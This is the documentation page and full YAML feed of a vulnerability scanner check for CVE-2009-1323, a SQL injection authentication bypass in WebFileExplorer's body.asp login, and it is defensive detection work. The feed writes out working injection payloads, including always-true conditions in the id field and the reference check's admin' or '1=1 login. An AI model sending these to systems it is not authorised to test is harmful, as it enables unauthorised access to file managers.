WebFileExplorer — 1 vulnerability check
noctis ships 1 vulnerability check for WebFileExplorer, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WebFileExplorer body.asp SQL injection authentication bypass
| CVE | CVE-2009-1323 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/webfileexplorer/CVE-2009-1323.yaml |
Looks for WebFileExplorer (index title "WebFileExplorer") under /fileexplorer, /webfileexplorer and the web root and posts three logins to its body.asp login form, without following redirects: a wrong random login, a login whose user name (id) ends with an always-true SQL condition (<random>' or 'N'='N' or 'N'='N) and a random password, and the same login with an always-false condition (<random>' or 'N'='M' or 'N'='M). The finding fires with high confidence when the always-true login opens the file browser ("Number of entries per page") while the wrong and always-false logins do not. When no file browser is seen, it fires with lower confidence when the always-false login is rejected exactly like the wrong login (same status, redirect target and login form) while the always-true login is answered with a different result. When neither is seen, an index titled "WebFileExplorer v3.1" is reported as the vulnerable version. The requests are ordinary login attempts with random user names; no file is read or changed.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/body.asp - HTTP(S) request
POST {{dir}}/body.aspwith a crafted body - HTTP(S) request
POST {{dir}}/body.aspwith a crafted body - HTTP(S) request
POST {{dir}}/body.aspwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
v.stforhit→ finding QoD 97: WebFileExplorer body.asp SQL injection authentication bypass - Checks
v.stforhit→ finding QoD 75: WebFileExplorer body.asp SQL injection authentication bypass - Checks
v.stforhit→ finding QoD 70: WebFileExplorer 3.1 body.asp SQL injection (version check)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-1323
- https://www.exploit-db.com/exploits/8382
- http://www.securityfocus.com/bid/34462
- https://vuldb.com/vuln/47791
Feed source — tests/vulnerabilities/webfileexplorer/CVE-2009-1323.yaml
# WebFileExplorer 3.1 body.asp SQL injection authentication bypass (CVE-2009-1323).
#
# Reference check: OpenVAS/Greenbone NVT `2009/webfileexplorer_34462.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100137, GPL-2.0-only), with its detection
# `webfileexplorer_detect.nasl` (index <title>WebFileExplorer v<ver></title> + fileoptions
# cookie, under /fileexplorer and the CGI dirs). It reports version 3.1 outright; without
# a version it posts login_name=&dologin=yes&id=admin' or '1=1&pwd=xxx&B1=Login to
# body.asp and reports when the reply contains "Number of entries per page" (the file
# browser shown after a good login). EDB-8382: the id field is concatenated into the login
# query (NVD: "via the id parameter"); the product is commercial, no source, no fix.
#
# Differences from the reference check:
# - Its payload needs an account literally named admin, and closes the quote with '1=1,
# a bare string used as a condition (rejected by SQL Server / Access as a type
# mismatch on some installs). This feed puts <random>' or 'N'='N' or 'N'='N in id
# only: whether pwd is compared in the same WHERE (AND binds tighter) or escaped, the
# query matches rows without any known account name.
# - Its single probe fires on any page that always shows "Number of entries per page"
# (FP). This feed adds a plain wrong login and an always-false control of the same
# shape (<random>' or 'N'='M' or 'N'='M), which must both stay on the login form.
# - A generic outcome differential (QoD 75) covers a good login that redirects instead
# of answering the file browser in place, and the version 3.1 check is kept as a
# QoD 70 fallback when no injection is seen.
#
# Three logins, redirects not followed, random user names and passwords:
# 1. plain wrong login <rand> / <rand>
# 2. true condition in id <rand>' or 'N'='N' or 'N'='N
# 3. false condition (control) <rand>' or 'N'='M' or 'N'='M (sent last: a lockout or
# throttle after repeated failures hits it, failing closed)
# At most a session is opened as the first account of the table; no file is read or
# changed and the file listing is not copied into the evidence.
uid: 0b2a2136-2d68-400f-a572-4d817dee1bf7
name: "WebFileExplorer body.asp SQL injection authentication bypass"
description: >-
Looks for WebFileExplorer (index title "WebFileExplorer") under /fileexplorer,
/webfileexplorer and the web root and posts three logins to its body.asp login form,
without following redirects: a wrong random login, a login whose user name (id) ends
with an always-true SQL condition (<random>' or 'N'='N' or 'N'='N) and a random
password, and the same login with an always-false condition
(<random>' or 'N'='M' or 'N'='M). The finding fires with high confidence when the
always-true login opens the file browser ("Number of entries per page") while the
wrong and always-false logins do not. When no file browser is seen, it fires with
lower confidence when the always-false login is rejected exactly like the wrong login
(same status, redirect target and login form) while the always-true login is answered
with a different result. When neither is seen, an index titled "WebFileExplorer v3.1"
is reported as the vulnerable version. The requests are ordinary login attempts with
random user names; no file is read or changed.
category: sqli
cves: [CVE-2009-1323]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [webfileexplorer, asp, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1323"
- "https://www.exploit-db.com/exploits/8382"
- "http://www.securityfocus.com/bid/34462"
- "https://vuldb.com/vuln/47791"
steps:
- id: gen
action: script
code: |
let n = rand_int(1000, 9999);
#{ u0: rand_str(8), p0: rand_str(10), u: rand_str(8), p: rand_str(10),
p2: rand_str(10), n: n, f: n + 1 }
store_as: rv
# Loop group: every following step runs once per directory. Pre-initialise the
# stored results so a failed request never leaves them undefined or holding the
# previous directory's reply.
- id: init-index
action: set_var
var_name: idx
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/fileexplorer", "/webfileexplorer", ""]
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
- id: init-wrong
action: set_var
var_name: wrong
var_value: {status: 0, body: ""}
- id: init-inj
action: set_var
var_name: inj
var_value: {status: 0, body: ""}
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: ""}
- id: index
action: http_request
method: GET
path: "{{dir}}/"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: idx
- id: fingerprint
action: script
code: |
let b = if type_of(idx.body) == "string" { idx.body } else { "" };
let wfe = idx.status == 200 && ereg("<title>[^<]*WebFileExplorer", b, true);
#{ wfe: wfe, v31: wfe && ereg("<title>\\s*WebFileExplorer\\s+v3\\.1(\\.0)*\\s*</title>", b, true) }
store_as: fp
- id: page
action: http_request
method: GET
path: "{{dir}}/body.asp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.wfe"
store_as: page
# 1. Plain wrong login: the reference rejection.
- id: wrong
action: http_request
method: POST
path: "{{dir}}/body.asp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.wfe"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/body.asp"
body: "login_name=&dologin=yes&id={{rv.u0}}&pwd={{rv.p0}}&B1=Login"
store_as: wrong
# 2. Injection: always-true condition in id, random password.
- id: inject
action: http_request
method: POST
path: "{{dir}}/body.asp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.wfe"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/body.asp"
body: "login_name=&dologin=yes&id={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}&pwd={{rv.p}}&B1=Login"
store_as: inj
# 3. Control: false condition of the same shape — must be rejected like 1. Sent last,
# so a lockout or throttle after repeated failures changes it and the check fails closed.
- id: control
action: http_request
method: POST
path: "{{dir}}/body.asp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.wfe"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/body.asp"
body: "login_name=&dologin=yes&id={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}&pwd={{rv.p2}}&B1=Login"
store_as: ctl
- id: verdict
action: script
code: |
fn loc_of(r) {
if type_of(r) == "map" && type_of(r.headers) == "map" && type_of(r.headers["location"]) == "string" {
return r.headers["location"];
}
""
}
fn body_of(r) {
if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" }
}
fn answered(r) {
type_of(r) == "map" && r.status > 0 && r.status < 400
}
// The file browser a good login opens, without the login form.
fn browser(r) {
let b = body_of(r);
answered(r) && ereg("Number of entries per page", b, true)
&& !ereg("type\\s*=\\s*[\"']?password", b, true)
}
fn outcome(r) {
if type_of(r) != "map" || r.status == 0 { return ""; }
let loc = loc_of(r);
let q = loc.index_of("?");
if q >= 0 { loc = loc.sub_string(0, q); }
let b = body_of(r);
let form = if ereg("type\\s*=\\s*[\"']?password", b, true) { "form" } else { "noform" };
let lst = if ereg("Number of entries per page", b, true) { "listing" } else { "nolisting" };
"" + r.status + " " + loc + " " + form + " " + lst
}
let o1 = outcome(wrong);
let o2 = outcome(ctl);
let o3 = outcome(inj);
let ok = fp.wfe && o1 != "" && o2 != "" && o3 != "";
// QoD 97: true login opens the file browser, wrong and false logins do not.
let bypass = ok && browser(inj) && !browser(wrong) && !browser(ctl);
// QoD 75: generic differential — false == wrong, true answered and different —
// only when body.asp shows the id / pwd login form.
let pb = body_of(page);
let form_ok = page.status == 200 && ereg("name\\s*=\\s*[\"']?id[\"'\\s>]", pb, true)
&& ereg("name\\s*=\\s*[\"']?pwd[\"'\\s>]", pb, true);
let diff = ok && form_ok && !bypass && answered(inj) && o1 == o2 && o3 != o2;
let ver = fp.v31 && !bypass && !diff;
#{ bypass: bypass, diff: diff, ver: ver, o1: o1, o2: o2, o3: o3,
st: if bypass || diff || ver { "hit" } else { "" } }
store_as: v
- id: sqli-login-bypass
action: match
source: v.st
pattern: "hit"
condition: "v.bypass"
on_match:
finding:
title: "WebFileExplorer body.asp SQL injection authentication bypass"
description: "The WebFileExplorer login (body.asp) concatenates the id (user name) field into its SQL query: a login whose user name ends with an always-true condition opens the file browser without a valid password, while the same login with an always-false condition is rejected. An unauthenticated attacker can log in to the file manager, then upload or change files, and inject SQL into the login query."
confidence_delta: 0.65
qod: 97
evidence: "POST {{dir}}/body.asp with id ending in ' or '{{rv.n}}'='{{rv.n}}' or '{{rv.n}}'='{{rv.n}} and a random password opened the file browser (\"Number of entries per page\") [{{v.o3}}], while the false condition '{{rv.n}}'='{{rv.f}}' gave [{{v.o2}}] and a plain wrong login [{{v.o1}}] (status, redirect target, login form, file browser)."
remediation: "No fixed WebFileExplorer 3.1 release is known: remove the product or restrict access to it to trusted hosts, and change the login query of body.asp to a parameterised query."
stop: true
- id: sqli-login-differential
action: match
source: v.st
pattern: "hit"
condition: "v.diff"
on_match:
finding:
title: "WebFileExplorer body.asp SQL injection authentication bypass"
description: "The WebFileExplorer login (body.asp) evaluates the id (user name) field inside its SQL query: an always-true condition in the user name changes the login result, while an always-false one is rejected like a wrong password. An unauthenticated attacker can bypass the password check and inject SQL into the login query."
confidence_delta: 0.55
qod: 75
evidence: "POST {{dir}}/body.asp with id ending in ' or '{{rv.n}}'='{{rv.n}}' or '{{rv.n}}'='{{rv.n}} gave [{{v.o3}}], while the same login with the false condition '{{rv.n}}'='{{rv.f}}' gave [{{v.o2}}], identical to a plain wrong login [{{v.o1}}] (status, redirect target, login form, file browser)."
remediation: "No fixed WebFileExplorer 3.1 release is known: remove the product or restrict access to it to trusted hosts, and change the login query of body.asp to a parameterised query."
stop: true
- id: vulnerable-version
action: match
source: v.st
pattern: "hit"
condition: "v.ver"
on_match:
finding:
title: "WebFileExplorer 3.1 body.asp SQL injection (version check)"
description: "The WebFileExplorer index reports version 3.1, whose body.asp login concatenates the id (user name) field into its SQL query. The injection itself was not confirmed by the login probes (for example a login that redirects elsewhere or a filtered request)."
confidence_delta: 0.45
qod: 70
evidence: "GET {{dir}}/ answered with the title \"WebFileExplorer v3.1\"; the injected login gave [{{v.o3}}], the false condition [{{v.o2}}], a wrong login [{{v.o1}}]."
remediation: "No fixed WebFileExplorer 3.1 release is known: remove the product or restrict access to it to trusted hosts, and change the login query of body.asp to a parameterised query."
stop: true